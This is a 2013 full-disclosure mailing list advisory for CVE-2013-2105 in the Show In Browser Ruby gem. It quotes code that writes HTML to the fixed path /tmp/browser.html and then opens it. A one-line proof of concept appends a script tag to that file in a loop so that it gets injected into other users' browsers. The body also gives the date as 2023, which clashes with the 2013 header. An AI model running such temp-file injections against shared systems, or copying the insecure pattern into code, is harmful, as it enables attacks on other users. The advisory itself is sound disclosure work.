full-disclosure - Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability

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Message-id: <ba37a198-95de-44ce-be44-cabd04a8a31a@me.com>
Date: Fri, 24 May 2013 00:35:05 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: full <full-disclosure@...ts.grok.org.uk>
Subject: Show In Browser 0.0.3 Ruby Gem /tmp file
	injection vulnerability

TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability.

DATE: 5/15/2023

AUTHOR: Larry W. Cashdollar (@_larry0)

DOWNLOAD: https://rubygems.org/gems/show_in_browser

DESCRIPTION: Opens arbitrary text in your browser

VENDOR: Jonathan Leung

FIX: N/A

CVE: 2013-2105

DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely.

 2   FILE_LOCATION = "/tmp/browser.html"

3 4 class << self 5 6 def show(html)

 7       file = File.open(FILE_LOCATION, 'w')
 8       file.write(html)
 9       file.close
10 
11 `open #{FILE_LOCATION}`

By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into 
the file right before it is about to be opened.

PoC:

nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done

Will pop up a java script alert in other gem users browser. 

ADVISORY: http://vapid.dhs.org/advisories/show_in_browser.html
Content of type "text/html" skipped

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